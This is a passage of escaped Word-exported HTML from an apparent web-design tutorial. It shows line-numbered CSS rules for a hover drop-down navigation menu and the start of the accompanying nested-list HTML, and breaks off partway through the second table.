&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;24&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;25&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;26&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;27&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;28&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;29&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;30&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;31&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;32&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;33&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;34&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;35&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;36&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;37&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;38&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;39&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;40&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;padding: .75pt .75pt .75pt .75pt;&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;ul {&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;font-family:
  Arial, Verdana;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;font-size:
  14px;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;margin: 0;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;padding: 0;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;list-style:
  none;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;ul li {&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;display: block;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;position: relative;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;float: left;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;li ul {&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;display: none;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;ul li a {&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;display: block;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;text-decoration:
  none;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;color: #ffffff;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;border-top:
  1px solid #ffffff;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;padding: 5px
  15px 5px 15px;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;background:
  #1e7c9a;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;margin-left:
  1px;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;white-space:
  nowrap;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;ul li a:hover {&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;background: #3b3b3b;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;li:hover ul {&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;display: block;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;position: absolute;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;li:hover li {&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;float: none;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;font-size:
  11px;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;li:hover a { background: #3b3b3b; }&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;li:hover li a:hover {&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;background:
  #1e7c9a;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;Next is the HTML code. It is
structured as nested lists so that even displaying the HTML source code without
any CSS style will render it with a useful structure. &lt;/span&gt;&lt;/div&gt;
&lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; class=&quot;MsoNormalTable&quot; style=&quot;mso-cellspacing: 1.5pt; mso-yfti-tbllook: 1184;&quot;&gt;
 &lt;tbody&gt;
&lt;tr style=&quot;mso-yfti-firstrow: yes; mso-yfti-irow: 0; mso-yfti-lastrow: yes;&quot;&gt;
  &lt;td style=&quot;padding: .75pt .75pt .75pt .75pt;&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;6&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;7&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;8&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;9&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;10&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;11&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;12&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
